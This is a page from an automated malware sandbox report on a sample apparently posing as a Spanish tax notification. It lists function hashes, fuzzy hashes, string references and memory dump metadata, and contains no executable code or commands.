Opcode Fuzzy Hash: cc037f6c1729004c36887db873500564c0946682e4fcbbb836ab4a8957f92029
Instruction Fuzzy Hash: 75B1BA43F2F349D9E78360B185117E16B80DF131CAF158F9A9832F2562773EEA8E2594

Uniqueness

Uniqueness Score: -1.00%

Function 048C0769 Relevance: 2.8, Strings: 2, Instructions: 348COMMON

Download Yara Rule

Strings

Ks41, xrefs: 048C43C3
[@@@, xrefs: 048C076B

Memory Dump Source

Source File: 00000000.00000002.2031116791.00000000048C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 048C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_48c0000_rAEAT-AvisodeNotificaci__n.jbxd

Yara matches

Similarity

API ID:
String ID: Ks41$[@@@
API String ID: 0-3580479612
Opcode ID: 18efbd8f58a9c142cd1b392566205602b43b7b3eddc48c979689482eb8cae633
Instruction ID: 24531d6ce2f5086eacf71b197971317f30a7ef7e69ae33c3b68fe2397e1a7bda
Opcode Fuzzy Hash: 18efbd8f58a9c142cd1b392566205602b43b7b3eddc48c979689482eb8cae633
Instruction Fuzzy Hash: 8751AE47E2E359DDE78360B089117D16BD0DF070C9F158F8AD872F2562B72EEA8E2191

Uniqueness

Uniqueness Score: -1.00%

Function 048C0011 Relevance: 1.8, Strings: 1, Instructions: 572COMMON

Download Yara Rule

Strings

Ks41, xrefs: 048C43C3

Memory Dump Source

Source File: 00000000.00000002.2031116791.00000000048C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 048C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_48c0000_rAEAT-AvisodeNotificaci__n.jbxd

Yara matches

Similarity

API ID:
String ID: Ks41
API String ID: 0-3507627492
Opcode ID: 59f824244f3cac500f94b00f0e698a726db5ad2c1bd3eae8f97d9e43f891026f
Instruction ID: 9eebdd0e1c32007f63ad4b795cec1c35c78d3fb2a86dd73ccfea40ba95703a6d
Opcode Fuzzy Hash: 59f824244f3cac500f94b00f0e698a726db5ad2c1bd3eae8f97d9e43f891026f
Instruction Fuzzy Hash: 10B1AB43F2F359D9E78360B185017A16780DF131CEE158F9A9832F15627B3EEA8E2594

Uniqueness

Uniqueness Score: -1.00%

Function 048C0117 Relevance: 1.8, Strings: 1, Instructions: 544COMMON

Download Yara Rule

Strings

Ks41, xrefs: 048C43C3

Memory Dump Source

Source File: 00000000.00000002.2031116791.00000000048C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 048C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_48c0000_rAEAT-AvisodeNotificaci__n.jbxd

Yara matches

Similarity

API ID:
String ID: Ks41
API String ID: 0-3507627492
Opcode ID: bfeb3b129c368e8c4653bd305a7ecc2f2c6a4b770582c88bcebf7de5914bec5f
Instruction ID: 72af6e0f77fbb20bb3908303ec11a6c3be3713101450cd9039f260e634f5fbbe
Opcode Fuzzy Hash: bfeb3b129c368e8c4653bd305a7ecc2f2c6a4b770582c88bcebf7de5914bec5f
Instruction Fuzzy Hash: 69B1CA43F2F349C9E78360B185017E16B80DF131CAE118F9A9832F2462773EEA8E2594

Uniqueness

Uniqueness Score: -1.00%

Function 048C0053 Relevance: 1.8, Strings: 1, Instructions: 538COMMON

Download Yara Rule

Strings

Ks41, xrefs: 048C43C3

Memory Dump Source

Source File: 00000000.00000002.2031116791.00000000048C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 048C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_48c0000_rAEAT-AvisodeNotificaci__n.jbxd

Yara matches

Similarity

API ID:
String ID: Ks41
API String ID: 0-3507627492
Opcode ID: a55b388ce945d87fa66ac8334cd1311c30e915a31d00473b10500c543cb8a78f
Instruction ID: ef6aa349d5523dd756e44cfc653b506b5c5e7958c3ffc0c14a8354c2fc26347d
Opcode Fuzzy Hash: a55b388ce945d87fa66ac8334cd1311c30e915a31d00473b10500c543cb8a78f
Instruction Fuzzy Hash: E2B1AB43F2F359D9E78360B185017E16780DF131CEE158F9A9832F25627B3EEA8E2594

Uniqueness

Uniqueness Score: -1.00%

Function 048C02FB Relevance: 1.8, Strings: 1, Instructions: 536COMMON

Download Yara Rule

Strings

Ks41, xrefs: 048C43C3

Memory Dump Source

Source File: 00000000.00000002.2031116791.00000000048C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 048C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_48c0000_rAEAT-AvisodeNotificaci__n.jbxd

Yara matches

Similarity

API ID:
String ID: Ks41
API String ID: 0-3507627492
Opcode ID: ffcb5a842f99258e9f629ea5b5a4d1994d353cd4a037308f0db8a1a231960b0d
Instruction ID: 06f5149034710f8202f3c457f12bfd891ab8950f8524c45fc178a2dffee06838
Opcode Fuzzy Hash: ffcb5a842f99258e9f629ea5b5a4d1994d353cd4a037308f0db8a1a231960b0d
Instruction Fuzzy Hash: BDA1CC42F6E349C9E38361F889017E16B80CF431C9F559F9E9821F1462773EEA8E25C6

Uniqueness

Uniqueness Score: -1.00%

Function 048C0091 Relevance: 1.8, Strings: 1, Instructions: 535COMMON

Download Yara Rule

Strings

Ks41, xrefs: 048C43C3

Memory Dump Source

Source File: 00000000.00000002.2031116791.00000000048C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 048C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_48c0000_rAEAT-AvisodeNotificaci__n.jbxd

Yara matches

Similarity

API ID:
String ID: Ks41
API String ID: 0-3507627492
Opcode ID: 8e7d42798851a3bf29a6cd7d6c0a04dc1bf5a07083c0267cea5fa7416c0094a7
Instruction ID: 5907e72578e442e714a5641046e9bf58534f3ea6e1611322deb34fe65f959170
Opcode Fuzzy Hash: 8e7d42798851a3bf29a6cd7d6c0a04dc1bf5a07083c0267cea5fa7416c0094a7
Instruction Fuzzy Hash: B0B1AB43F2F359D9E78360B18501BE16780DF131CAE158F9A9832F15627B3EEA8E2594

Uniqueness

Uniqueness Score: -1.00%

Function 048C0001 Relevance: 1.8, Strings: 1, Instructions: 533COMMON

Download Yara Rule

Strings

Ks41, xrefs: 048C43C3

Memory Dump Source

Source File: 00000000.00000002.2031116791.00000000048C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 048C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_48c0000_rAEAT-AvisodeNotificaci__n.jbxd

Yara matches

Similarity

API ID:
String ID: Ks41
API String ID: 0-3507627492
Opcode ID: 3b508945a860d6bf6192947f4061375945d592f56331826b47d677c20daa22b0
Instruction ID: 8b8e9a8cfd1267e7cb279d7f1008b8a142444a05f02f79c809ec4367b0423e82
Opcode Fuzzy Hash: 3b508945a860d6bf6192947f4061375945d592f56331826b47d677c20daa22b0
Instruction Fuzzy Hash: E6B1AB43F2F319D9E78360B185017E16780DF131CEE158F9B9836F15627B3EAA8E2594

Uniqueness

Uniqueness Score: -1.00%

Function 048C0196 Relevance: 1.8, Strings: 1, Instructions: 503COMMON

Download Yara Rule

Strings

Ks41, xrefs: 048C43C3

Memory Dump Source

Source File: 00000000.00000002.2031116791.00000000048C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 048C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_48c0000_rAEAT-AvisodeNotificaci__n.jbxd

Yara matches

Similarity

API ID:
String ID: Ks41
API String ID: 0-3507627492
Opcode ID: 449bd4296c459d37216e3ff867fbb48c1965f58ebbcdb1943dab5abc7b396457
Instruction ID: 791679fd0ec800f0855770b18c31c20ead68c3a7b1c90f83704ec78ed7d7eae0
Opcode Fuzzy Hash: 449bd4296c459d37216e3ff867fbb48c1965f58ebbcdb1943dab5abc7b396457
Instruction Fuzzy Hash: F5A1BB43F2F359C9E78360B185017E16B80DF171CAF558F9A9832F2462773EDA8E2594

Uniqueness

Uniqueness Score: -1.00%

Function 048C0209 Relevance: 1.7, Strings: 1, Instructions: 499COMMON

Download Yara Rule

Strings

Ks41, xrefs: 048C43C3

Memory Dump Source

Source File: 00000000.00000002.2031116791.00000000048C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 048C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_48c0000_rAEAT-AvisodeNotificaci__n.jbxd

Yara matches

Similarity

API ID:
String ID: Ks41
API String ID: 0-3507627492
Opcode ID: af66290f4004a669606a76df55f345ebd5865be1fb9d3f01260315433b14a0c7
Instruction ID: 64f326f51cad843d1c0221d99d3f573194c9146aa071953e1cc7c23d336e42c2
Opcode Fuzzy Hash: af66290f4004a669606a76df55f345ebd5865be1fb9d3f01260315433b14a0c7
Instruction Fuzzy Hash: B1A1AA43F2F359C9E78360B185017E16B80DF131CAF55CF9A9832F2462773EAA8E2594

Uniqueness

Uniqueness Score: -1.00%

Function 048C023F Relevance: 1.7, Strings: 1, Instructions: 498COMMON

Download Yara Rule

Strings

Ks41, xrefs: 048C43C3

Memory Dump Source

Source File: 00000000.00000002.2031116791.00000000048C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 048C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_48c0000_rAEAT-AvisodeNotificaci__n.jbxd

Yara matches

Similarity

API ID:
String ID: Ks41
API String ID: 0-3507627492
Opcode ID: b74d28556efd6662314be83484d7279f8d02d4c4d3f3aa73f01592ec223dad2f
Instruction ID: 7deabf2fbfb59136483b826c83b3ba1fa1260997a2d93b3d1f0cf9aee09b07d2
Opcode Fuzzy Hash: b74d28556efd6662314be83484d7279f8d02d4c4d3f3aa73f01592ec223dad2f
Instruction Fuzzy Hash: 40A1BE43F6F35DC9E78361B185017E16B80DF131CAF518F9A9832F1462773E9A8E2594

Uniqueness

Uniqueness Score: -1.00%

Function 048C02C0 Relevance: 1.7, Strings: 1, Instructions: 486COMMON

Download Yara Rule

Strings

Ks41, xrefs: 048C43C3

Memory Dump Source

Source File: 00000000.00000002.2031116791.00000000048C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 048C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_48c0000_rAEAT-AvisodeNotificaci__n.jbxd

Yara matches

Similarity

API ID:
String ID: Ks41
API String ID: 0-3507627492
Opcode ID: 7a16789912a893f4cd063ce7b6aac328a979a1bcdcfc829d83a27194ff07faa7
Instruction ID: d407ff34e23d7782d04e874d7ff2abf521722966e96e0f125dba4c8a3e8cbb87
Opcode Fuzzy Hash: 7a16789912a893f4cd063ce7b6aac328a979a1bcdcfc829d83a27194ff07faa7
Instruction Fuzzy Hash: 7591CD43F2F75DC9E78361B089017E16B90DF131CAF118F8A9832F1462773EAA8E2594

Uniqueness

Uniqueness Score: -1.00%

Function 048C0279 Relevance: 1.7, Strings: 1, Instructions: 473COMMON

Download Yara Rule

Strings

Ks41, xrefs: 048C43C3

Memory Dump Source

Source File: 00000000.00000002.2031116791.00000000048C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 048C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_48c0000_rAEAT-AvisodeNotificaci__n.jbxd

Yara matches

Similarity

API ID:
String ID: Ks41
API String ID: 0-3507627492
Opcode ID: 65b46af5cd1a56a44c325cd638188471031ede76a267fe4b4afabd17217fe6e3
Instruction ID: bb00ff5c5ff51b6b03cd50745a741a45ff7ab5812304ccd2c9fc5beda81200d3
Opcode Fuzzy Hash: 65b46af5cd1a56a44c325cd638188471031ede76a267fe4b4afabd17217fe6e3
Instruction Fuzzy Hash: 0D91CE43F2F359C9E78361B085017E16B80DF131CAF118F9A9832F1462773EAA8E25D4

Uniqueness

Uniqueness Score: -1.00%

Function 048C01FD Relevance: 1.7, Strings: 1, Instructions: 473COMMON

Download Yara Rule

Strings

Ks41, xrefs: 048C43C3

Memory Dump Source

Source File: 00000000.00000002.2031116791.00000000048C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 048C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_48c0000_rAEAT-AvisodeNotificaci__n.jbxd

Yara matches

Similarity

API ID:
String ID: Ks41
API String ID: 0-3507627492
Opcode ID: 0dabb67d93a702e7742c4f866c6bb7cc9eb2fceb1e8d2e01e0aa408a86fe2686
Instruction ID: e07b18099f48e4a2658f810ed8e37f02fb11ae59aa9c69b8fd6e083b9e9f1751
Opcode Fuzzy Hash: 0dabb67d93a702e7742c4f866c6bb7cc9eb2fceb1e8d2e01e0aa408a86fe2686
Instruction Fuzzy Hash: E9A1AC43F2F359C9E78361B189017E16B80DF131CAF558F9A9832F2462773E9A8E2594

Uniqueness

Uniqueness Score: -1.00%

Function 048C0377 Relevance: 1.7, Strings: 1, Instructions: 454COMMON

Download Yara Rule

Strings

Ks41, xrefs: 048C43C3

Memory Dump Source

Source File: 00000000.00000002.2031116791.00000000048C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 048C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_48c0000_rAEAT-AvisodeNotificaci__n.jbxd

Yara matches

Similarity

API ID:
String ID: Ks41
API String ID: 0-3507627492
Opcode ID: 3853de44dfd7dcbb184505b565df335a4f062dbf950219494ff881bdf2b784ca
Instruction ID: 8b4255db7878d28e1168125d827f9f1d338bfcc79ebf431b4615fdec4595ff48
Opcode Fuzzy Hash: 3853de44dfd7dcbb184505b565df335a4f062dbf950219494ff881bdf2b784ca
Instruction Fuzzy Hash: EA81BE43E6F359C9E78321B185117E16B80CF171CDF158F8A9832F2551773A9A8E2594

Uniqueness

Uniqueness Score: -1.00%

Function 048C03D9 Relevance: 1.7, Strings: 1, Instructions: 449COMMON

Download Yara Rule

Strings

Ks41, xrefs: 048C43C3

Memory Dump Source

Source File: 00000000.00000002.2031116791.00000000048C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 048C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_48c0000_rAEAT-AvisodeNotificaci__n.jbxd

Yara matches

Similarity

API ID:
String ID: Ks41
API String ID: 0-3507627492
Opcode ID: 80ef5e81cb80f1d876f46f017c1f8d32944b719509406900693d61f064d7711f
Instruction ID: 5f0cc4f3e010b1b53351f0826dbf210b4ad01e738fda119134bb1a84073ea146
Opcode Fuzzy Hash: 80ef5e81cb80f1d876f46f017c1f8d32944b719509406900693d61f064d7711f
Instruction Fuzzy Hash: 2E81BC47E6E759C9E78321B089117E16B80DF131CAF15CF8B9832F2552773EEA8E2590

Uniqueness

Uniqueness Score: -1.00%

Function 048C033F Relevance: 1.7, Strings: 1, Instructions: 442COMMON

Download Yara Rule

Strings

Ks41, xrefs: 048C43C3

Memory Dump Source

Source File: 00000000.00000002.2031116791.00000000048C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 048C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_48c0000_rAEAT-AvisodeNotificaci__n.jbxd

Yara matches

Similarity

API ID:
String ID: Ks41
API String ID: 0-3507627492
Opcode ID: 0828b73fd69e179b2a2c86531bdb0cb3fc57945e892430cdddb026e064536580
Instruction ID: 1ef7d5a58ace47502f3d64fb14093a5b6654fa35de1a9eab1f811c6778464ec7
Opcode Fuzzy Hash: 0828b73fd69e179b2a2c86531bdb0cb3fc57945e892430cdddb026e064536580
Instruction Fuzzy Hash: 6E91CE43F6F749C9E78361B089107E16B90CF131CEF15CF8A9832F1462773AAA8E2590

Uniqueness

Uniqueness Score: -1.00%

Function 048C047D Relevance: 1.7, Strings: 1, Instructions: 422COMMON

Download Yara Rule

Strings

Ks41, xrefs: 048C43C3

Memory Dump Source

Source File: 00000000.00000002.2031116791.00000000048C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 048C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_48c0000_rAEAT-AvisodeNotificaci__n.jbxd

Yara matches

Similarity

API ID:
String ID: Ks41
API String ID: 0-3507627492
Opcode ID: c7e9f936694e7911d99b03a00ad37e360860a78eb45db1d67c286f8172b373ec
Instruction ID: e651f7a7088f294bc02bc723d5256af57c3f62f09cd1a260fdcc02670daf9a44
Opcode Fuzzy Hash: c7e9f936694e7911d99b03a00ad37e360860a78eb45db1d67c286f8172b373ec
Instruction Fuzzy Hash: 1E81BD47F6E349C9E78325B189117E16B80DF170CAF158F8E9832F2552B73ADA8D2690

Uniqueness

Uniqueness Score: -1.00%

Function 048C0444 Relevance: 1.7, Strings: 1, Instructions: 421COMMON

Download Yara Rule

Strings

Ks41, xrefs: 048C43C3

Memory Dump Source

Source File: 00000000.00000002.2031116791.00000000048C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 048C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_48c0000_rAEAT-AvisodeNotificaci__n.jbxd

Yara matches

Similarity

API ID:
String ID: Ks41
API String ID: 0-3507627492
Opcode ID: cc074aca30590bda2d4d34ef9a6e64044189e77d767666726e49cc69efc392d6
Instruction ID: 18b4ed3ce9a128fa8087aedf94ca45e283014d71d5c97a4ec88d7478547ce8e4
Opcode Fuzzy Hash: cc074aca30590bda2d4d34ef9a6e64044189e77d767666726e49cc69efc392d6
Instruction Fuzzy Hash: 9681BC47F6E349C9E78325B085117E16B80DF131CAF558F8E9822F1562773AEA8E2690

Uniqueness

Uniqueness Score: -1.00%

Function 048C0414 Relevance: 1.7, Strings: 1, Instructions: 420COMMON

Download Yara Rule

Strings

Ks41, xrefs: 048C43C3

Memory Dump Source

Source File: 00000000.00000002.2031116791.00000000048C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 048C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_48c0000_rAEAT-AvisodeNotificaci__n.jbxd

Yara matches

Similarity

API ID:
String ID: Ks41
API String ID: 0-3507627492
Opcode ID: d12ec4e3517a870fd936c113711bc6c6ae3027a5349af32930b9961cb1bb2c66
Instruction ID: 3341f1367b761367d6166eb7597aa5193fd5c93a75952d9106eb7d50c761d42c
Opcode Fuzzy Hash: d12ec4e3517a870fd936c113711bc6c6ae3027a5349af32930b9961cb1bb2c66
Instruction Fuzzy Hash: D581BD47E7E759C9E78320B189117E16B80DF131CAF158F8F9832F2592773EDA892690

Uniqueness

Uniqueness Score: -1.00%

Function 048C04B3 Relevance: 1.7, Strings: 1, Instructions: 405COMMON

Download Yara Rule

Strings

Ks41, xrefs: 048C43C3

Memory Dump Source

Source File: 00000000.00000002.2031116791.00000000048C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 048C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_48c0000_rAEAT-AvisodeNotificaci__n.jbxd

Yara matches

Similarity

API ID:
String ID: Ks41
API String ID: 0-3507627492
Opcode ID: bd2b4cac6008448b0dd6153f6ab3b7b85091832dbe5799d67348279049abd8c3
Instruction ID: bffa83e3c0b1ea50e5bd5404bb62aa4a2769e60e62ee8aeff7585e627b5f6f83
Opcode Fuzzy Hash: bd2b4cac6008448b0dd6153f6ab3b7b85091832dbe5799d67348279049abd8c3
Instruction Fuzzy Hash: DD71BD47E6E35DD9E78320B089117E16B90DF131CAF158F8F9822F2561773EEA8D2690

Uniqueness

Uniqueness Score: -1.00%

Function 048C0551 Relevance: 1.6, Strings: 1, Instructions: 390COMMON

Download Yara Rule

Strings

Ks41, xrefs: 048C43C3

Memory Dump Source

Source File: 00000000.00000002.2031116791.00000000048C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 048C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_48c0000_rAEAT-AvisodeNotificaci__n.jbxd

Yara matches

Similarity

API ID:
String ID: Ks41
API String ID: 0-3507627492
Opcode ID: da45c66b23792c3aec19698453a48c2158b836223ecaf7bb60013bbad4b0ab1e
Instruction ID: 043bd2fb388c56686da5a010ae6154150a61e1b3f9373f5c5f1d7762bcd4d2bc
Opcode Fuzzy Hash: da45c66b23792c3aec19698453a48c2158b836223ecaf7bb60013bbad4b0ab1e
Instruction Fuzzy Hash: 6E71DF47E6F35DCDE78364B089117A16B90DF034CDF158F8A9822F2952B73EEA8D2190

Uniqueness

Uniqueness Score: -1.00%

Function 048C04EB Relevance: 1.6, Strings: 1, Instructions: 389COMMON

Download Yara Rule

Strings

Ks41, xrefs: 048C43C3

Memory Dump Source

Source File: 00000000.00000002.2031116791.00000000048C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 048C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_48c0000_rAEAT-AvisodeNotificaci__n.jbxd

Yara matches

Similarity

API ID:
String ID: Ks41
API String ID: 0-3507627492
Opcode ID: fda8275f7a0b1fd06172eef17c36aa1819b96f35ebd63579be5349a8ce7f3d50
Instruction ID: b23ebd953f5fc7f875f2b77cf70979b8bb179208f75f584bdcc66ac682924f42
Opcode Fuzzy Hash: fda8275f7a0b1fd06172eef17c36aa1819b96f35ebd63579be5349a8ce7f3d50
Instruction Fuzzy Hash: DE71DF43E7E34DC9F78360B189117A26B80DF075C9F158F8F9822F2561B73ADA8D2591

Uniqueness

Uniqueness Score: -1.00%

Function 048C0629 Relevance: 1.6, Strings: 1, Instructions: 385COMMON

Download Yara Rule

Strings

Ks41, xrefs: 048C43C3

Memory Dump Source

Source File: 00000000.00000002.2031116791.00000000048C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 048C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_48c0000_rAEAT-AvisodeNotificaci__n.jbxd

Yara matches

Similarity

API ID:
String ID: Ks41
API String ID: 0-3507627492
Opcode ID: 3daed0c5d718403294745c5f0d19e03a08fe1ec5a985c40c93e44ed2c0b186e0
Instruction ID: 3055a52f70e939d4fedaad327ba8824d49d91935d1328615c25c8019f1f30855
Opcode Fuzzy Hash: 3daed0c5d718403294745c5f0d19e03a08fe1ec5a985c40c93e44ed2c0b186e0
Instruction Fuzzy Hash: 4261CF47E6E35DC9E78361B089117A16B90DF030C9F158F8E9832F2552B73EEACE2591

Uniqueness

Uniqueness Score: -1.00%

Function 048C0517 Relevance: 1.6, Strings: 1, Instructions: 385COMMON

Download Yara Rule

Strings

Ks41, xrefs: 048C43C3

Memory Dump Source

Source File: 00000000.00000002.2031116791.00000000048C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 048C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_48c0000_rAEAT-AvisodeNotificaci__n.jbxd

Yara matches

Similarity

API ID:
String ID: Ks41
API String ID: 0-3507627492
Opcode ID: b93ae1dd0caaa0f0d379fa7ba7397a5560aefe0dace60747b89650be530f9c2f
Instruction ID: f4fcdecd7b6fc7363019dd69624dac3d0908e90a1881b5ee7521aa7b1e96cfd5
Opcode Fuzzy Hash: b93ae1dd0caaa0f0d379fa7ba7397a5560aefe0dace60747b89650be530f9c2f
Instruction Fuzzy Hash: 7071C043E6E34DCDE78365B089117A16B90DF031C9F158F8A9821F2566B73AEA8D2590

Uniqueness

Uniqueness Score: -1.00%

Function 048C05DF Relevance: 1.6, Strings: 1, Instructions: 379COMMON

Download Yara Rule

Strings

Ks41, xrefs: 048C43C3

Memory Dump Source

Source File: 00000000.00000002.2031116791.00000000048C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 048C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_48c0000_rAEAT-AvisodeNotificaci__n.jbxd

Yara matches

Similarity

API ID:
String ID: Ks41
API String ID: 0-3507627492
Opcode ID: 171290b05273097eacaa3e4c3e57eac0d6fe19f89d168f45c34342959ea73b28
Instruction ID: c204fa22442a0eaf063be66c3ec9ae3a154275c591fb926f71f8d5f44e2c6fdb
Opcode Fuzzy Hash: 171290b05273097eacaa3e4c3e57eac0d6fe19f89d168f45c34342959ea73b28
Instruction Fuzzy Hash: 9D61CF46E6E35DC9E78364B089117A16B90DF031C9F558F8E9832F2552B72EEACD2290

Uniqueness

Uniqueness Score: -1.00%

Function 048C06E2 Relevance: 1.6, Strings: 1, Instructions: 371COMMON

Download Yara Rule

Strings

Ks41, xrefs: 048C43C3

Memory Dump Source

Source File: 00000000.00000002.2031116791.00000000048C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 048C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_48c0000_rAEAT-AvisodeNotificaci__n.jbxd

Yara matches

Similarity

API ID:
String ID: Ks41
API String ID: 0-3507627492
Opcode ID: 320eac3b8f82bf76d1d6a81816430bc46dde94b379cf6cc3e992f7ac6919d511
Instruction ID: 1c8031db99f3c99e84484c118124a7c075cc6d6139f6a5fdb1958c5709f813af
Opcode Fuzzy Hash: 320eac3b8f82bf76d1d6a81816430bc46dde94b379cf6cc3e992f7ac6919d511
Instruction Fuzzy Hash: 7B51CF47E6E35DDDE78360B089117E16BD0DF070CDF158F8AD821F2552B72AEA8E2190

Uniqueness

Uniqueness Score: -1.00%

Function 048C066C Relevance: 1.6, Strings: 1, Instructions: 370COMMON

Download Yara Rule

Strings

Ks41, xrefs: 048C43C3

Memory Dump Source

Source File: 00000000.00000002.2031116791.00000000048C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 048C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_48c0000_rAEAT-AvisodeNotificaci__n.jbxd

Yara matches

Similarity

API ID:
String ID: Ks41
API String ID: 0-3507627492
Opcode ID: 1210830e6814e2ddaa434a340761ad627fcdba3103152de2f7267c69197500a0
Instruction ID: 75a07d8d17448f3c8407c68104df7eb6754c69e4d0b7c3c2e18366c1fc0c6fc5
Opcode Fuzzy Hash: 1210830e6814e2ddaa434a340761ad627fcdba3103152de2f7267c69197500a0
Instruction Fuzzy Hash: 0151CE47E6E34DC9E78360B089117E16B90DF031C9F158F8AD822F2552B72EEA8E2190

Uniqueness

Uniqueness Score: -1.00%

Function 048C0727 Relevance: 1.6, Strings: 1, Instructions: 362COMMON

Download Yara Rule

Strings

Ks41, xrefs: 048C43C3

Memory Dump Source

Source File: 00000000.00000002.2031116791.00000000048C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 048C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_48c0000_rAEAT-AvisodeNotificaci__n.jbxd

Yara matches

Similarity

API ID:
String ID: Ks41
API String ID: 0-3507627492
Opcode ID: a0d2b94d7e6be74b5ffcc34e89d89389175d761c4b22826041f98a6578c02cd1
Instruction ID: af3b1cecc97fe318dcc68c341825bffc66a2c3e2c555d02a6c7e88c0376f6bb5
Opcode Fuzzy Hash: a0d2b94d7e6be74b5ffcc34e89d89389175d761c4b22826041f98a6578c02cd1
Instruction Fuzzy Hash: 9D51C047E6E359DDE78360B089117D16BD0DF070CDF558F8AD821F2552B72EEA8E2190

Uniqueness

Uniqueness Score: -1.00%

Function 048C069F Relevance: 1.6, Strings: 1, Instructions: 338COMMON

Download Yara Rule

Strings

Ks41, xrefs: 048C43C3

Memory Dump Source

Source File: 00000000.00000002.2031116791.00000000048C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 048C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_48c0000_rAEAT-AvisodeNotificaci__n.jbxd

Yara matches

Similarity

API ID:
String ID: Ks41
API String ID: 0-3507627492
Opcode ID: 5b4552fd6f9c04fb35025fc51cb9b89a23ad185756e0db4eb933e52ea9726948
Instruction ID: 47def2e7f88c06c6e36d95fa825cdb9e8e828820bcef84d35ddcb0c2ee14fdce
Opcode Fuzzy Hash: 5b4552fd6f9c04fb35025fc51cb9b89a23ad185756e0db4eb933e52ea9726948
Instruction Fuzzy Hash: 3951D147E2E34DCDE78360B089113E16B90DF031CDF158F8AD871F2592B72AE98E2590

Uniqueness

Uniqueness Score: -1.00%

Function 048C089A Relevance: 1.6, Strings: 1, Instructions: 320COMMON

Download Yara Rule

Strings

Ks41, xrefs: 048C43C3

Memory Dump Source

Source File: 00000000.00000002.2031116791.00000000048C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 048C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_48c0000_rAEAT-AvisodeNotificaci__n.jbxd

Yara matches

Similarity

API ID:
String ID: Ks41
API String ID: 0-3507627492
Opcode ID: 27affde29412dc45f1b3cf420d000facb2de1d41b4a30d255d943b079b69d280
Instruction ID: 13b96076c7f0e81f3c586a887ba19ba9734cb077dddb66180ce2c5d1c4fc5a01
Opcode Fuzzy Hash: 27affde29412dc45f1b3cf420d000facb2de1d41b4a30d255d943b079b69d280
Instruction Fuzzy Hash: 2B41AD47E2E35D9DE7836470CA117E57B90DF031CAF148F8AD822F2152B72AED8E1290

Uniqueness

Uniqueness Score: -1.00%

Function 048C0826 Relevance: 1.6, Strings: 1, Instructions: 312COMMON

Download Yara Rule

Strings

Ks41, xrefs: 048C43C3

Memory Dump Source

Source File: 00000000.00000002.2031116791.00000000048C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 048C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_48c0000_rAEAT-AvisodeNotificaci__n.jbxd

Yara matches

Similarity

API ID:
String ID: Ks41
API String ID: 0-3507627492
Opcode ID: d473576f4309ddeaa6a3229f96e23a8916b986afd165d4446a4b733ea3f04624
Instruction ID: 766ec89bd957cbf5a99ec298172db31f98555b829f82387eda3cf99f9663064a
